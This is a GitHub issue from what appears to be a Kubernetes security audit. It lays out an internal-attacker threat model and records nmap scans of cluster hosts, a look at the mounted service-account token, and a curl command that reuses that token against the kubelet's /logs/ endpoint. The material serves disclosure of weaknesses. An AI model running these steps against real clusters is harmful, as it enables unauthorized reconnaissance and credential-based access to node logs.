trailofbits/audit-kubernetes

As an Internal Attacker...

lojikil opened this issue · 5 comments

Overview

Internal Attacker is a position such that an unprivileged attacker has successfully transited external boundaries, and has established themselves on an internal resource, such as a container.

Setup

  • malicious container (beachhead woo woo)

I wish to map my env

  • fingerprint k8s
  • map network
  • find resources automatically
  • map secrets/resources/sensitive data
  • exfil secrets/resources/sensitive data

I wish to escalate privileges

  • with internal position, what else can I access?
  • what can we view from e.g. ATT&CK that k8s should prevent?

Scanning the Kubespray hosts within the cluster, we are able to access the NodePorted WordPress site across masters and normal workers.

ubuntu@ip-172-31-6-71:~$ nmap 172.31.28.169 172.31.28.130 172.31.24.249 -Pn -p30000-32767 -T5 -vvv -n

Starting Nmap 7.60 ( https://nmap.org ) at 2019-04-19 16:47 UTC
Initiating Connect Scan at 16:47
Scanning 3 hosts [2768 ports/host]
Discovered open port 32090/tcp on 172.31.24.249
Discovered open port 32090/tcp on 172.31.28.130
Discovered open port 32090/tcp on 172.31.28.169
Completed Connect Scan against 172.31.28.130 in 0.23s (2 hosts left)
Completed Connect Scan against 172.31.28.169 in 0.23s (1 host left)
Completed Connect Scan at 16:47, 0.23s elapsed (8304 total ports)
Nmap scan report for 172.31.28.169
Host is up, received user-set (0.0040s latency).
Scanned at 2019-04-19 16:47:34 UTC for 1s
Not shown: 2767 closed ports
Reason: 2767 conn-refused
PORT      STATE SERVICE REASON
32090/tcp open  unknown syn-ack

Nmap scan report for 172.31.28.130
Host is up, received user-set (0.0039s latency).
Scanned at 2019-04-19 16:47:34 UTC for 1s
Not shown: 2767 closed ports
Reason: 2767 conn-refused
PORT      STATE SERVICE REASON
32090/tcp open  unknown syn-ack

Nmap scan report for 172.31.24.249
Host is up, received user-set (0.0039s latency).
Scanned at 2019-04-19 16:47:34 UTC for 1s
Not shown: 2767 closed ports
Reason: 2767 conn-refused
PORT      STATE SERVICE REASON
32090/tcp open  unknown syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 3 IP addresses (3 hosts up) scanned in 0.26 seconds

Odd permissions within the mounted serviceaccount directory (which is mounted by default):

root@wordpress-dccb8668f-mzg45:/var/www/html# readlink -f /var/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/..2019_04_19_16_24_09.587111370/token
root@wordpress-dccb8668f-mzg45:/var/www/html# ls -la /var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3 root root  140 Apr 19 16:24 .
drwxr-xr-x 3 root root 4096 Apr 19 16:24 ..
drwxr-xr-x 2 root root  100 Apr 19 16:24 ..2019_04_19_16_24_09.587111370
lrwxrwxrwx 1 root root   31 Apr 19 16:24 ..data -> ..2019_04_19_16_24_09.587111370
lrwxrwxrwx 1 root root   13 Apr 19 16:24 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Apr 19 16:24 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Apr 19 16:24 token -> ..data/token
root@wordpress-dccb8668f-mzg45:/var/www/html# ls -la /var/run/secrets/kubernetes.io/serviceaccount/..2019_04_19_16_24_09.587111370/
total 12
drwxr-xr-x 2 root root  100 Apr 19 16:24 .
drwxrwxrwt 3 root root  140 Apr 19 16:24 ..
-rw-r--r-- 1 root root 1025 Apr 19 16:24 ca.crt
-rw-r--r-- 1 root root    7 Apr 19 16:24 namespace
-rw-r--r-- 1 root root  842 Apr 19 16:24 token

EDIT (added by @disconnect3d ):

$ namei -m /var/run/secrets/kubernetes.io/serviceaccount/..2019_04_19_16_24_09.587111370/token
f: /var/run/secrets/kubernetes.io/serviceaccount/..2019_04_19_16_24_09.587111370/token
 drwxr-xr-x /
 drwxr-xr-x var
 lrwxrwxrwx run -> /run
   drwxr-xr-x /
   drwxr-xr-x run
 drwxr-xr-x secrets
 drwxr-xr-x kubernetes.io
 drwxrwxrwt serviceaccount
 drwxr-xr-x ..2019_04_19_16_24_09.587111370
 -rw-r--r-- token```

We are able to access kubelet logs leveraging the default service token from within a container:

root@wordpress-dccb8668f-mzg45:/var/www/html# curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" "https://172.31.28.169:10250/logs/" -k
<pre>
<a href="alternatives.log">alternatives.log</a>
<a href="amazon/">amazon/</a>
<a href="apt/">apt/</a>
<a href="auth.log">auth.log</a>
<a href="auth.log.1">auth.log.1</a>
<a href="auth.log.2.gz">auth.log.2.gz</a>
<a href="btmp">btmp</a>
<a href="cloud-init-output.log">cloud-init-output.log</a>
<a href="cloud-init.log">cloud-init.log</a>
<a href="containers/">containers/</a>
<a href="dist-upgrade/">dist-upgrade/</a>
<a href="dpkg.log">dpkg.log</a>
<a href="journal/">journal/</a>
<a href="kern.log">kern.log</a>
<a href="kern.log.1">kern.log.1</a>
<a href="kern.log.2.gz">kern.log.2.gz</a>
<a href="landscape/">landscape/</a>
<a href="lastlog">lastlog</a>
<a href="lxd/">lxd/</a>
<a href="pods/">pods/</a>
<a href="syslog">syslog</a>
<a href="syslog.1">syslog.1</a>
<a href="syslog.2.gz">syslog.2.gz</a>
<a href="syslog.3.gz">syslog.3.gz</a>
<a href="syslog.4.gz">syslog.4.gz</a>
<a href="syslog.5.gz">syslog.5.gz</a>
<a href="syslog.6.gz">syslog.6.gz</a>
<a href="syslog.7.gz">syslog.7.gz</a>
<a href="tallylog">tallylog</a>
<a href="unattended-upgrades/">unattended-upgrades/</a>
<a href="wtmp">wtmp</a>
</pre>

Scanning from within the docker container (cut out early, need to try again):

root@wordpress-dccb8668f-mzg45:/var/www/html# nmap -Pn -T5 10.233.0.0/16 -n -vvv

Starting Nmap 6.47 ( http://nmap.org ) at 2019-04-19 17:41 UTC
Initiating SYN Stealth Scan at 17:41
Scanning 64 hosts [1000 ports/host]
Discovered open port 443/tcp on 10.233.0.1
Warning: 10.233.0.1 giving up on port because retransmission cap hit (2).
Warning: 10.233.0.3 giving up on port because retransmission cap hit (2).
Discovered open port 53/tcp on 10.233.0.3
Increasing send delay for 10.233.0.1 from 0 to 5 due to 13 out of 32 dropped probes since last increase.
Discovered open port 22/tcp on 10.233.0.3
Increasing send delay for 10.233.0.3 from 0 to 5 due to 17 out of 42 dropped probes since last increase.
Discovered open port 22/tcp on 10.233.0.1
SYN Stealth Scan Timing: About 14.54% done; ETC: 17:45 (0:03:02 remaining)
SYN Stealth Scan Timing: About 27.41% done; ETC: 17:45 (0:02:42 remaining)
Stats: 0:01:20 elapsed; 0 hosts completed (64 up), 64 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 37.12% done; ETC: 17:45 (0:02:16 remaining)
Stats: 0:01:24 elapsed; 0 hosts completed (64 up), 64 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 38.81% done; ETC: 17:45 (0:02:14 remaining)
Stats: 0:01:25 elapsed; 0 hosts completed (64 up), 64 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 39.20% done; ETC: 17:45 (0:02:12 remaining)
SYN Stealth Scan Timing: About 52.84% done; ETC: 17:45 (0:01:43 remaining)
Discovered open port 179/tcp on 10.233.0.1
SYN Stealth Scan Timing: About 65.18% done; ETC: 17:45 (0:01:17 remaining)
Discovered open port 179/tcp on 10.233.0.3
Discovered open port 8081/tcp on 10.233.0.1
Discovered open port 8081/tcp on 10.233.0.3
SYN Stealth Scan Timing: About 78.21% done; ETC: 17:45 (0:00:49 remaining)

At least part of this captured as TOA-K8S-031